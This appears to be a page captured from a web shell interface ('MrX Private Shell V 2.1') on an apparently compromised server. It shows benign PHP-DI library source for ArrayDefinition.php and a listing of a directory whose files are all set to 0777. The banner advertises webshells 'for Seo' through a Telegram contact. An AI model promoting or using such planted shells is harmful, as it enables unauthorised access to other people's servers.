__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace DI\Definition;
/**
* Definition of an array containing values or references.
*
* @since 5.0
* @author Matthieu Napoli <matthieu@mnapoli.fr>
*/
class ArrayDefinition implements Definition
{
/** Entry name. */
private string $name = '';
public function __construct(
private array $values,
) {
}
public function getName() : string
{
return $this->name;
}
public function setName(string $name) : void
{
$this->name = $name;
}
public function getValues() : array
{
return $this->values;
}
public function replaceNestedDefinitions(callable $replacer) : void
{
$this->values = array_map($replacer, $this->values);
}
public function __toString() : string
{
$str = '[' . \PHP_EOL;
foreach ($this->values as $key => $value) {
if (is_string($key)) {
$key = "'" . $key . "'";
}
$str .= ' ' . $key . ' => ';
if ($value instanceof Definition) {
$str .= str_replace(\PHP_EOL, \PHP_EOL . ' ', (string) $value);
} else {
$str .= var_export($value, true);
}
$str .= ',' . \PHP_EOL;
}
return $str . ']';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Dumper | Folder | 0777 |
|
|
| Exception | Folder | 0777 |
|
|
| Helper | Folder | 0777 |
|
|
| ObjectDefinition | Folder | 0777 |
|
|
| Resolver | Folder | 0777 |
|
|
| Source | Folder | 0777 |
|
|
| ArrayDefinition.php | File | 1.31 KB | 0777 |
|
| ArrayDefinitionExtension.php | File | 1017 B | 0777 |
|
| AutowireDefinition.php | File | 170 B | 0777 |
|
| DecoratorDefinition.php | File | 782 B | 0777 |
|
| Definition.php | File | 847 B | 0777 |
|
| EnvironmentVariableDefinition.php | File | 2.5 KB | 0777 |
|
| ExtendsPreviousDefinition.php | File | 323 B | 0777 |
|
| FactoryDefinition.php | File | 1.72 KB | 0777 |
|
| InstanceDefinition.php | File | 1.12 KB | 0777 |
|
| ObjectDefinition.php | File | 6.29 KB | 0777 |
|
| Reference.php | File | 1.29 KB | 0777 |
|
| SelfResolvingDefinition.php | File | 528 B | 0777 |
|
| StringDefinition.php | File | 2.21 KB | 0777 |
|
| ValueDefinition.php | File | 1.11 KB | 0777 |
|